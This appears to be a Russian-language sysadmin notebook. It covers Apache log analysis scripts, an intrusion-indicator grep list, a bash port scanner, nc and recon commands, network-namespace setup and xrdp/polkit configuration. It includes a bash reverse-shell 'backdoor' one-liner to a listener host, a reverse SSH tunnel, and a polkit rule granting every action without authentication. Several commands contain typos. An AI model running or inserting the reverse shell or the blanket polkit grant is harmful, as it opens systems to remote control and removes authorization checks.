CLF - Combined Log Format cat access.log 192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /favicon.ico HTTP/1.1" 404 492 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" Что мы видим: Поле Значение Описание 1 192.168.15.53 ip хоста который запросил страницу у веб сервера 2 - идентификатор протокола RFC 1413 (-, если его нет) 3 - идентификатор пользователя с проверкой подлинности HTTP (-, если его нет) 4 [11/Jul/2025:15:09:25 +0300] Смещение даты, времени и GMT (часовой пояс) 5 GET / Страница которая была запрошена 6 HTTP/1.1 Версия протокола HTTP 7 200 Код состояния, возвращаемый веб-сервер 8 3380 Размер возвращаемого файла в байтах 9 - Ссылающаяся страница 10 Mozilla/5.0 Браузер Коды: 200 - OK - Хорошо 401 - Unauthorized - Не авторизован \ не предоставляется 404 - Page Not Found - Страница не найдена 500 - Internal Server Error - Внутренняя ошибка сервера 502 - Bad Gateway - Плохой, ошибочный шлюз Ссылки: https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml https://httpd.apache.org/docs/2.4/logs.html cat /var/log/apache2/access.log | sort -k2.1 -rn | head -15 Подсчет количества обращений к данным: cat countem.sh #!/bin/bash - # # Описание: # Подсчет количества экземпляров элемента с помощью bash # Использование: # countem.sh < inputfile declare -A cnt # ассоциативный массив while read id xtra do let cnt[$id]++ done # вывести то, что мы подсчитали # для каждого ключа в ассоциативном массиве в виде (ключ, значение) for id in "${!cnt[@]}" do printf '%d %s\n' "${cnt[$id]}" "$id" done Пример countem.awk: # countem.awk # Описание: # Подсчет количество экземпляров элемента с помощью команды awk # Использование: # countem.awk < inputfile awk '{ cnt[$1]++ } END {for (id in cnt) { printf "%d %s\n", cnt[id], id } }' Оба сценария хорошо будут работать в конвейере: cut -d' ' -f1 logfile | bash countem.sh bash countem.sh < logfile awk '$9 == 404 {print $1}' access.log | bash countem.sh cut -d' ' -f1 access.log | bash countem.sh | sort -rn P.S. Но все это круто конечно, юзать скрипты, но проще воспользоваться программами linux cut -d' ' -f1 access.log | sort | unic -c | sort -rn cut -d' ' -f1 access.log | sort -urn Суммирование чисел и данных: cat summer.sh #!/bin/bash - # # Описание: # Суммировать итоговое значение поля 2 для каждого уникального поля 1 # Использование: ./summer.sh # Формат ввода: <name> <number> declare -A cnt # ассоциативный массив while read id count do let cnt[$id]+=$count done for id in "${!cnt[@]}" do printf "%-15s %8d\n" "${id}" "${cnt[${id}]}" done Использование: cut -d' ' -f1,10 access.log | bash summer.sh | sort -k 2.1 -rn |
Скрипт отображение данных в виде гистограммы:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
histogram.sh #!/bin/bash - # # Описание: # Создание горизонтальной гистограммы с указанным данными # Использование: ./historgram.sh # Формата ввода: label value function pr_bar() { local -i i raw maxraw scaled raw=$1 maxraw=$2 ((scaled=(MAXBAR*raw)/maxraw)) # гарантированный минимальный размер ((raw > 0 && scaled ==0)) && scaled=1 for((i=0; i<scaled;i++)) ; do printf '#' ; done printf '\n' } # pr_bar # # "main" # declare -A RA declare -i MAXBAR max max=0 MAXBAR=50 # размер самой длинной строки while read labl val do let RA[$lab]=$val # сохранить наибольшее значение; для масштабирования (( val > max )) && max=$val done # масштабировать и вести for labl in "${!RA[@]}" do printf '%-20.20s ' "$labl" pr_bar ${RA[$labl]} $max done Пример: cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh |
Скрипт отображение данных в виде гистограммы для старых систем и macos:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
histogram_plain.sh #!/bin/bash - # # Описание: # Создание горизонтальной гистограммы с указанным данными # Использование: ./histogram_plain # Формата ввода: label value declare -a RA_key RA_val declare -i max ndx max=0 maxbar=50 ndx=0 while read labl val do RA_key[$ndx]=$labl RA_value[$ndx]=$val # сохранить наибольшее значение; для масштабирования (( val > max )) && max=$val let ndx++ done # масштабировать и вывести for ((j=0; j<ndx; j++)) do printf "%-20.20s " ${RA_key[$j]} pr_bar ${RA_value[$j]} $max done Примеры использования: cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh cut -d' ' -f4,10 access.log cut -d' ' -f4,10 access.log | cut -c2- cut -d' ' -f4,10 access.log | tr -d '[' awk '$4 ~ 12/Nov/2017' {print $0} access.log | cut -d' ' -f4,10 | cut -c14-15,22- | bash summer.sh | bash histogram.sh |
Мониторинг журналов в режиме реального времени:
|
1 2 3 4 5 6 |
tail -f /var/log/apache2/access.log tail -f /var/log/apache2/access.log | grep '10.0.0.152' tail -f /var/log/apache2/access.log | egrep -i 'HTTP/.*" 404' cd /var/log/apache2/ tail -f access.log | egrep --line-buffered 'HTTP/.*" 404' | cut -d' ' -f4-7 |
Обнаружение вторжения с помощью журнала apache2:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
cat > ioc.txt << "EOF" \.\./ etc/passwd etc/shadow cmd\.exe /bin/sh /bin/bash EOF ../ -злоумышленник пытается выйти из текущего каталога рабочего каталога /etc/passwd и другие - пытается получить доступ к паролям системы /sh и другое - пытается вызвать программу tail -f /var/log/apache2/access.log | egrep -i -f ioc.txt tail -f /va/log/apache2/access.log | egrep --line-buffered -i -f ioc.txt | tee -a interesting.txt |
Сканер портов:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
cat > scan.sh << "EOF" #!/bin/bash - # Описание: # Сканирование порта указанного хоста # Использование: # ./scan.sh <output file> # <output file> - файл, куда сохраняется результат # ./scan.sh save.log # 192.168.0.1 - вводим адрес # ctrl + c # cat save.log function scan() { host=$1 printf '%s' "$host" for ((port=1;port<1024;port++)) do echo >/dev/null 2>&1 < /dev/tcp/${host}/${port} if (($? == 0)) ; then printf ' %d' "${port}" ; fi done echo # или вывести '\n' } # основной цикл printf -v TODAY 'scan_%(%F)T' -1 # например scan_2025-12-30 OUTFILE=${1:-$TODAY} while read HOSTNAME do scan $HOSTNAME done > $OUTFILE EOF |
Сравнение файлов:
|
1 2 3 4 5 6 7 |
sdiff - сравнивает два файла -a - рассматривать все файлы как текстовые -i - игнорировать регистр -s - удалять общие строки для двух файлов -w - определить максимальное кол-во символов для вывода в троке sdiff -s file1.txt file2.txt |
curl:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
curl -A - для отправки на сервер указать строку агента пользователя HTTP -d - данные для отправки с запросом HTTP POST -G - использовать для отправки данных запрос HTTP GET, а не POST -I - получить только заголовок протокола (HTTP, FTP) -L - следовать за пере направлениями -s - не показывать индикатор выполнения или сообщения об ошибках curl https://google.com Проверка сокращенной ссылки: curl -ILs http://bitly.com/1k5eYPw | grep '^Location:' |
xxd :
|
1 2 3 4 5 6 |
xdd - выводит на экран в двоичном или шестнадцатеричном формате -b - отобразить файл с использованием двоичного, а не шестнадцатеричного формата -l - вывести кол-во байт двоичного или шестнадцатеричного файла -s - начать печать с позиции байта n xdd -s 35 -l 50 somefile.txt |
Разведка:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
Просмотр вебсервера: ftp -n - запретить авто вход на сервер ftp -n 192.168.0.15 ftp 192.168.0.15 ftp 192.168.0.15 60 Просмотр веб сайта: curl -L -o output.html https://www.oreilly.com curl -LI https://www.oreilly.com curl -LIs https://www.oreilly.com | grep '200 OK' Копирование сайта себе: wget -p -m -k -P ./mirror https://digadel.com Самый простой способ перехватить баннер с SMTP сервера: telnet 192.168.0.15 25 |
nc :
|
1 2 3 4 5 6 7 8 9 10 11 |
nc -l - прослушивать входящие подключения -n - запретить выполнение поиска dns -p - задать исходный порт для подключения и прослушивания -v - установить подробный режим Подключение: nc www.oreilly.com 80 Прослушивания: nc -l -v -n -p 8080 |
Обратный SSH :
|
1 2 |
ssh -R 12345:localhost:22 user@remoteip ssh localhost -p 12345 |
Бэкдор баш:
|
1 2 3 4 5 6 7 8 9 10 11 |
/bin/bash -i < /dev/tcp/192.168.0.15/8080 1>&0 2>&0 Здесь: /bin/bash -i - интерактивный режим баша < /dev/tcp/192.168.0.15/8080 - Это создает TCP-соединение с системой злоумышленника по адресу 192.168.0.15, порт 8080 и перенаправляет его в качестве ввода в новой экземпляр баш. 1>&0 2>&0 - здесь происходит перенаправление стандартного вывода (stdout)(файловый дескриптор 1) и стандартного потока ввода (stdin)(дескриптор файла 0) В системе злоумышленника должен слушаться порт 8080 nc -l -v -p 8080 |
Пример команд:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
Создание сетевых пространств (network namespaces): sudo ip netns add Client sudo ip netns add Server Создание виртуальных интерфейсов (veth): Теперь у тебя есть связанная пара интерфейсов (veth-client <-> veth-server). sudo ip link add veth-client type veth peer name veth-server Привязка интерфейсов к namespace: sudo ip link set veth-client netns Client sudo ip link set veth-server netns Server Настройка IP-адресов: sudo ip netns exec Client ip addr add 192.168.1.1/24 dev veth-client sudo ip netns exec Server ip addr add 192.168.1.2/24 dev veth-server Теперь у тебя есть два "виртуальных хоста" (Client и Server), соединенных через veth. В Client и Server прописываешь маршруты: sudo ip netns exec Client ip route add default via 192.168.1.254 sudo ip netns exec Server ip route add default via 192.168.2.254 Список всех network namespaces: sudo ip netns list ls /var/run/netns/ Просмотр интерфейсов внутри конкретного netns: sudo ip netns exec Client ip link show sudo ip -n Client link Просмотр IP-адресов внутри netns: sudo ip netns exec Client ip addr Просмотр таблицы маршрутизации в netns: sudo ip netns exec Client ip route sudo ip -n Client route Проверить ARP-таблицу (соседей): sudo ip netns exec Client ip neigh Если netns нет в списке, но процесс использует его: lsns -t net ps aux | grep "netns" Использование namespace: ip netns exec <namespace> bash ip netns exec Client bash ip netns exec Server bash |
Пример скрипта который создаст пространства имен, привяжет интерфейсы к ним, добавит адреса, добавит маршруты:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
#!/bin/bash set -x # Создание namespace'ов, если их ещё нет ip netns add Server ip netns add Client echo "setup Server:" ip link set enp1s0f0np0 down ip link set enp1s0f0np0 netns Server ip netns exec Server ip addr add 10.0.12.2/24 dev enp1s0f0np0 ip netns exec Server ip link set enp1s0f0np0 up ip netns exec Server ip link set lo up ip netns exec Server ip route add default via 10.0.12.1 dev enp1s0f0np0 echo "setup Client:" ip link set enp1s0f1np1 down ip link set enp1s0f1np1 netns Client ip netns exec Client ip addr add 10.0.11.2/24 dev enp1s0f1np1 ip netns exec Client ip link set enp1s0f1np1 up ip netns exec Client ip link set lo up ip netns exec Client ip route add default via 10.0.11.1 dev enp1s0f1np1 # Удаление namespace'ов при необходимости # ip netns delete Client # ip netns delete Server |
Использование namespace:
|
1 2 3 4 5 6 |
Команда: ip netns exec <namespace> bash Пример: ip netns exec Server bash ip netns exec Client bash |
Пример сетевые карты разделены на 4 отдельных карточки и проводом подключены Client — Server, без маршрутизации.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
#!/bin/bash set -x # Создание namespace'ов, если их ещё нет ip netns add Server ip netns add Server1 ip netns add Client ip netns add Client1 echo "setup Server:" ip link set ens3f0 down ip link set ens3f0 netns Server ip netns exec Server ip addr add 10.0.12.2/24 dev ens3f0 ip netns exec Server ip link set ens3f0 up ip netns exec Server ip link set lo up echo "setup Client:" ip link set enp4s0f0np0 down ip link set enp4s0f0np0 netns Client ip netns exec Client ip addr add 10.0.12.1/24 dev enp4s0f0np0 ip netns exec Client ip link set enp4s0f0np0 up ip netns exec Client ip link set lo up echo "setup Server1:" ip link set ens3f1 down ip link set ens3f1 netns Server1 ip netns exec Server1 ip addr add 10.0.13.2/24 dev ens3f1 ip netns exec Server1 ip link set ens3f1 up ip netns exec Server1 ip link set lo up echo "setup Client1:" ip link set enp4s0f1np1 down ip link set enp4s0f1np1 netns Client1 ip netns exec Client1 ip addr add 10.0.13.1/24 dev enp4s0f1np1 ip netns exec Client1 ip link set enp4s0f1np1 up ip netns exec Client1 ip link set lo up # Удаление namespace'ов при необходимости # ip netns delete Client # ip netns delete Server # ip netns delete Client1 # ip netns delete Server1 |
Доработанный скрипт:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
cat > test_ip_netns.txt << "EOF" #!/bin/bash set -x #var net_port_1="ens4f0" net_port_2="ens4f1" #delete ip netns delete Client ip netns delete Server #use in route C1-R-C2 #net_port_IP1="10.0.12.2/24" #net_port_IP2="10.0.11.2/24" #net_route_1="10.0.12.1/24" #net_route_2="10.0.11.1/24" #no user router C1-C2 net_port_IP1="10.0.1.1/24" net_port_IP2="10.0.1.2/24" # Создание namespace'ов, если их ещё нет ip netns add Server ip netns add Client echo "setup Server:" ip link set $net_port_1 down ip link set $net_port_1 netns Server ip netns exec Server ip a add $net_port_IP1 dev $net_port_1 ip netns exec Server ip link set up dev $net_port_1 ip netns exec Server ip link set up dev lo #ip netns exec Server ip route add default via $net_route_1 $net_port_1 echo "setup Client:" ip link set $net_port_2 down ip link set $net_port_2 netns Client ip netns exec Client ip a add $net_port_IP2 dev $net_port_2 ip netns exec Client ip link set up dev $net_port_2 ip netns exec Client ip link set up dev lo #ip netns exec Client ip route add default via $net_route_IP2 dev $net_port_2 # Удаление namespace'ов при необходимости # ip netns delete Client # ip netns delete Server #Пример: echo "ip netns exec Server bash" echo "ip netns exec Client bash" echo "ip netns list" EOF |
Зачем?
|
1 2 |
xrdp будет работать с xfc4 удаленно kde будем пользовать локально |
Установка пакетов:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
Консольные утилиты: apt install vim tmux tcpdump curl mc minicom Ставим пакеты для xrdp: apt install xrdp xorgxrdp ssl-cert Установка xfce4: apt install xfce4 xfce4-goodies xfce4-places-plugin task-xfce-desktop Установка kde: apt install kde-full Решение ошибки при подключении по rdp: apt install dbus-x11 Решение проблемы зависания консоли: apt-get remove xscreensaver Дополнительные программы: apt install desktop-telegram vscode golang gparted |
Настройки:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 |
0. Отключаем постоянные запросы паролей при настройке под учетной записью из группы admin usermod -aG admin username 0.1 Политики polkit-1 такие полезные vim /etc/polkit-1/localauthority/50-local.d/46-all-allow.pkla ----------------------------------------------------------------------- [Allow ALL from group admin] Identity=unix-group:admin Action=* ResultAny=yes ResultInactive=yes ResultActive=yes ----------------------------------------------------------------------- 0.2 или !!! Вместо auth_admin_keep указываем yes vim /usr/share/polkit-1/actions/org.freedesktop.login1.policy ------------------------------------------------------------- <action id="org.freedesktop.login1.reboot"> <description gettext-domain="systemd">Reboot the system</description> <message gettext-domain="systemd">Authentication is required for rebooting the system.</message> <defaults> <allow_any>yes</allow_any> <allow_inactive>yes</allow_inactive> <allow_active>yes</allow_active> </defaults> <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.set-wall-message</annotate> </action> ------------------------------------------------------------- vim /usr/share/polkit-1/actions/org.freedesktop.NetworkManager.policy --------------------------------------------------------------------- <action id="org.freedesktop.NetworkManager.settings.modify.system"> [...] <defaults> <allow_any>auth_admin_keep</allow_any> <allow_inactive>yes</allow_inactive> <allow_active>yes</allow_active> </defaults> --------------------------------------------------------------------- P.S Более правильно все таки решить все с помощью pkla 1. Переконфигурируем: dpkg-reconfigure xserver-xorg-legacy - переключаем разрешение для всех 2. Редактируем выбор раскладки vim /etc/xrdp/xrdp_keyboard.ini --------------------------- [default_rdp_layouts] # ищем и убеждаемся что файлы существуют rdp_layout_us=0x00000409 # ищем и убеждаемся что файлы существуют rdp_layout_ru=0x00000419 # ищем и убеждаемся что файлы существуют [layouts_map_ru] rdp_layout_us=ru,us rdp_layout_ru=ru,us [rdp_keyboard_ru] keyboard_type=4 keyboard_type=7 keyboard_subtype=1 ; model=pc105 при необходимости options=grp:alt_shift_toggle rdp_layouts=default_rdp_layouts layouts_map=layouts_map_ru 3. Добавить пользователя xrdp в группу ssl-cert usermod -aG ssl-cert xrdp 4. Выпуск собственного сертификата для XRDP mkdir /etc/xrdp/certificate/ cd /etc/xrdp/certificate/ openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 3650 4.1 Подключаем сертификаты отредактировав файл !!! ищем строки (certificate=) и (key_file=) и правим их vim /etc/xrdp/xrdp.ini ---------------------- certificate=/etc/xrdp/certificate/cert.pem key_file=/etc/xrdp/certificate/key.pem ---------------------- 4.2 Изменяем права для файла chown -R xrdp:xrdp /etc/xrdp/certificate/ 5. Запрет авторизации ROOT в XRDP vim /etc/xrdp/sesman.ini ------------------------- [Security] # Авторизация root. true - разрешено false - запрещено AllowRootLogin=false ------------------------- 6. XRDP черный экран при подключении: !!! Баг был при использовании использовании ubuntu, debian 10, debian 11 !!! В окружение KDE !!! Нужно вставить следующие строки в файл /etc/xrdp/startwm.sh !!! unset DBUS_SESSION_BUS_ADDRESS !!! unset XDG_RUNTIME_DIR 6.1 vim /etc/xrdp/startwm.sh ------------------------ #!/bin/sh # xrdp X session start script (c) 2015, 2017 mirabilos # published under The MirOS Licence if test -r /etc/profile; then . /etc/profile fi unset DBUS_SESSION_BUS_ADDRESS unset XDG_RUNTIME_DIR if test -r /etc/default/locale; then . /etc/default/locale test -z "${LANG+x}" || export LANG test -z "${LANGUAGE+x}" || export LANGUAGE test -z "${LC_ADDRESS+x}" || export LC_ADDRESS test -z "${LC_ALL+x}" || export LC_ALL test -z "${LC_COLLATE+x}" || export LC_COLLATE test -z "${LC_CTYPE+x}" || export LC_CTYPE test -z "${LC_IDENTIFICATION+x}" || export LC_IDENTIFICATION test -z "${LC_MEASUREMENT+x}" || export LC_MEASUREMENT test -z "${LC_MESSAGES+x}" || export LC_MESSAGES test -z "${LC_MONETARY+x}" || export LC_MONETARY test -z "${LC_NAME+x}" || export LC_NAME test -z "${LC_NUMERIC+x}" || export LC_NUMERIC test -z "${LC_PAPER+x}" || export LC_PAPER test -z "${LC_TELEPHONE+x}" || export LC_TELEPHONE test -z "${LC_TIME+x}" || export LC_TIME test -z "${LOCPATH+x}" || export LOCPATH fi if test -r /etc/profile; then . /etc/profile fi test -x /etc/X11/Xsession && exec /etc/X11/Xsession exec /bin/sh /etc/X11/Xsession ------------------------ 7. Название подключенной локальной папки в XRDP !!! для корректной работы нужны пакеты !!! apt install gvfs-fuse gvfs-backends libglib2.0-bin vim /etc/xrdp/sesman.ini ------------------------ FuseMountName=Mount_FOLDER ------------------------ 8. Настройка вида окна авторизации XRDP vim /etc/xrdp/xrdp.ini ----------------------- ls_title=YOU SUPER SERVER # заголовок окна сервера ls_top_window_bg_color=000000 # Цвет фона RGB ls_logo_filename=/etc/xrdp/logo_xrdp.bmp #Логотип ; Session types # После этой строки ищем и убираем лишние сессии, оставляем только [Xorg] ----------------------- 9. Отключение screensaver Вариант первый, можно просто его удалить apt-get remove xscreensaver Вариант второй, можно настроить электропитание в настройках экрана 10. После настройки перезапустим xrdp service xrdp restart |
.xsession
|
1 2 3 4 5 6 7 8 9 |
KDE cat > .xsession << "EOF" startplasma-x11 EOF XFCE4 cat > .xsession << "EOF" startxfce4 EOF |
Команда помогающая изменить gui по умолчанию:
|
1 |
update-alternatives --config x-session-manager |
config /etc/xrdp/xrdp.ini
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 |
[Globals] ; xrdp.ini file version number ini_version=1 ; fork a new process for each incoming connection fork=true ; ports to listen on, number alone means listen on all interfaces ; 0.0.0.0 or :: if ipv6 is configured ; space between multiple occurrences ; ALL specified interfaces must be UP when xrdp starts, otherwise xrdp will fail to start ; ; Examples: ; port=3389 ; port=unix://./tmp/xrdp.socket ; port=tcp://.:3389 127.0.0.1:3389 ; port=tcp://:3389 *:3389 ; port=tcp://<any ipv4 format addr>:3389 192.168.1.1:3389 ; port=tcp6://.:3389 ::1:3389 ; port=tcp6://:3389 *:3389 ; port=tcp6://{<any ipv6 format addr>}:3389 {FC00:0:0:0:0:0:0:1}:3389 ; port=vsock://<cid>:<port> port=3389 ; 'port' above should be connected to with vsock instead of tcp ; use this only with number alone in port above ; prefer use vsock://<cid>:<port> above use_vsock=false ; regulate if the listening socket use socket option tcp_nodelay ; no buffering will be performed in the TCP stack tcp_nodelay=true ; regulate if the listening socket use socket option keepalive ; if the network connection disappear without close messages the connection will be closed tcp_keepalive=true ; set tcp send/recv buffer (for experts) #tcp_send_buffer_bytes=32768 #tcp_recv_buffer_bytes=32768 ; security layer can be 'tls', 'rdp' or 'negotiate' ; for client compatible layer security_layer=negotiate ; minimum security level allowed for client for classic RDP encryption ; use tls_ciphers to configure TLS encryption ; can be 'none', 'low', 'medium', 'high', 'fips' crypt_level=high ; X.509 certificate and private key ; openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365 ; note this needs the user xrdp to be a member of the ssl-cert group, do with e.g. ;$ sudo adduser xrdp ssl-cert ;certificate= ;key_file= certificate=/etc/xrdp/certificate/cert.pem key_file=/etc/xrdp/certificate/key.pem ; set SSL protocols ; can be comma separated list of 'SSLv3', 'TLSv1', 'TLSv1.1', 'TLSv1.2', 'TLSv1.3' ssl_protocols=TLSv1.2, TLSv1.3 ; set TLS cipher suites #tls_ciphers=HIGH ; concats the domain name to the user if set for authentication with the separator ; for example when the server is multi homed with SSSd #domain_user_separator=@ ; The following options will override the keyboard layout settings. ; These options are for DEBUG and are not recommended for regular use. #xrdp.override_keyboard_type=0x04 #xrdp.override_keyboard_subtype=0x01 #xrdp.override_keylayout=0x00000409 ; Section name to use for automatic login if the client sends username ; and password. If empty, the domain name sent by the client is used. ; If empty and no domain name is given, the first suitable section in ; this file will be used. autorun= allow_channels=true allow_multimon=true bitmap_cache=true bitmap_compression=true bulk_compression=true #hidelogwindow=true max_bpp=32 new_cursors=true ; fastpath - can be 'input', 'output', 'both', 'none' use_fastpath=both ; when true, userid/password *must* be passed on cmd line #require_credentials=true ; when true, the userid will be used to try to authenticate #enable_token_login=true ; You can set the PAM error text in a gateway setup (MAX 256 chars) #pamerrortxt=change your password according to policy at http://url ; ; colors used by windows in RGB format ; blue=009cb5 grey=dedede #black=000000 #dark_grey=808080 #blue=08246b #dark_blue=08246b #white=ffffff #red=ff0000 #green=00ff00 #background=626c72 ; ; configure login screen ; ; Login Screen Window Title #ls_title=My Login Title ; top level window background color in RGB format ls_top_window_bg_color=009cb5 ; width and height of login screen ; ; The default height allows for about 5 fields to be comfortably displayed ; above the buttons at the bottom. To display more fields, make <ls_height> ; larger, and also increase <ls_btn_ok_y_pos> and <ls_btn_cancel_y_pos> ; below ; ls_width=350 ls_height=430 ; login screen background color in RGB format ls_bg_color=dedede ; optional background image filename. BMP format is always supported, ; but other formats will be supported if xrdp is build with imlib2 ; The transform can be one of the following:- ; none : No transformation. Image is placed in bottom-right corner ; of the screen. ; scale : Image is scaled to the screen size. The image aspect ; ratio is not preserved. ; zoom : Image is scaled to the screen size. The image aspect ; ratio is preserved by clipping the image. #ls_background_image= #ls_background_transform=none ; logo ; full path to file or file in shared folder. BMP format is always supported, ; but other formats will be supported if xrdp is build with imlib2 ; For transform values, see 'ls_background_transform'. The logo width and ; logo height are ignored for a transform of 'none'. ls_logo_filename= #ls_logo_transform=none #ls_logo_width=240 #ls_logo_height=140 ls_logo_x_pos=55 ls_logo_y_pos=50 ; for positioning labels such as username, password etc ls_label_x_pos=30 ls_label_width=65 ; for positioning text and combo boxes next to above labels ls_input_x_pos=110 ls_input_width=210 ; y pos for first label and combo box ls_input_y_pos=220 ; OK button ls_btn_ok_x_pos=142 ls_btn_ok_y_pos=370 ls_btn_ok_width=85 ls_btn_ok_height=30 ; Cancel button ls_btn_cancel_x_pos=237 ls_btn_cancel_y_pos=370 ls_btn_cancel_width=85 ls_btn_cancel_height=30 [Logging] ; Note: Log levels can be any of: core, error, warning, info, debug, or trace LogFile=xrdp.log LogLevel=INFO EnableSyslog=true #SyslogLevel=INFO #EnableConsole=false #ConsoleLevel=INFO #EnableProcessId=false [LoggingPerLogger] ; Note: per logger configuration is only used if xrdp is built with ; --enable-devel-logging #xrdp.c=INFO #main()=INFO [Channels] ; Channel names not listed here will be blocked by XRDP. ; You can block any channel by setting its value to false. ; IMPORTANT! All channels are not supported in all use ; cases even if you set all values to true. ; You can override these settings on each session type ; These settings are only used if allow_channels=true rdpdr=true rdpsnd=true drdynvc=true cliprdr=true rail=true xrdpvr=true tcutils=true driveredir=true ; for debugging xrdp, in section xrdp1, change port=-1 to this: #port=/tmp/.xrdp/xrdp_display_10 ; ; Session types ; ; Some session types such as Xorg, X11rdp and Xvnc start a display server. ; Startup command-line parameters for the display server are configured ; in sesman.ini. See and configure also sesman.ini. [Xorg] name=Xorg lib=libxup.so username=ask password=ask ip=127.0.0.1 port=-1 code=20 ;[Xvnc] ;name=Xvnc ;lib=libvnc.so ;username=ask ;password=ask ;ip=127.0.0.1 ;port=-1 #xserverbpp=24 #delay_ms=2000 ; Disable requested encodings to support buggy VNC servers ; (1 = ExtendedDesktopSize) #disabled_encodings_mask=0 ; Use this to connect to a chansrv instance created outside of sesman ; (e.g. as part of an x11vnc console session). Replace '0' with the ; display number of the session #chansrvport=DISPLAY(0) ; Generic VNC Proxy ; Tailor this to specific hosts and VNC instances by specifying an ip ; and port and setting a suitable name. ;[vnc-any] ;name=vnc-any ;lib=libvnc.so ;ip=ask ;port=ask5900 ;username=na ;password=ask #pamusername=asksame #pampassword=asksame #pamsessionmng=127.0.0.1 #delay_ms=2000 ; Generic RDP proxy using NeutrinoRDP ; Tailor this to specific hosts by specifying an ip and port and setting ; a suitable name. ;[neutrinordp-any] ;name=neutrinordp-any ; To use this section, you should build xrdp with configure option ; --enable-neutrinordp. ;lib=libxrdpneutrinordp.so ;ip=ask ;port=ask3389 ;username=ask ;password=ask ; Uncomment the following lines to enable PAM authentication for proxy ; connections. #pamusername=ask #pampassword=ask #pamsessionmng=127.0.0.1 ; Currently NeutrinoRDP doesn't support dynamic resizing. Uncomment ; this line if you're using a client which does. #enable_dynamic_resizing=false ; By default, performance settings requested by the RDP client are ignored ; and chosen by NeutrinoRDP. Uncomment this line to allow the user to ; select performance settings in the RDP client. #perf.allow_client_experiencesettings=true ; Override any experience setting by uncommenting one or more of the ; following lines. #perf.wallpaper=false #perf.font_smoothing=false #perf.desktop_composition=false #perf.full_window_drag=false #perf.menu_anims=false #perf.themes=false #perf.cursor_blink=false ; By default NeutrinoRDP supports cursor shadows. If this is giving ; you problems (e.g. cursor is a black rectangle) try disabling cursor ; shadows by uncommenting the following line. #perf.cursor_shadow=false ; By default, NeutrinoRDP uses the keyboard layout of the remote RDP Server. ; If you want to tell the remote the keyboard layout of the RDP Client, ; by uncommenting the following line. 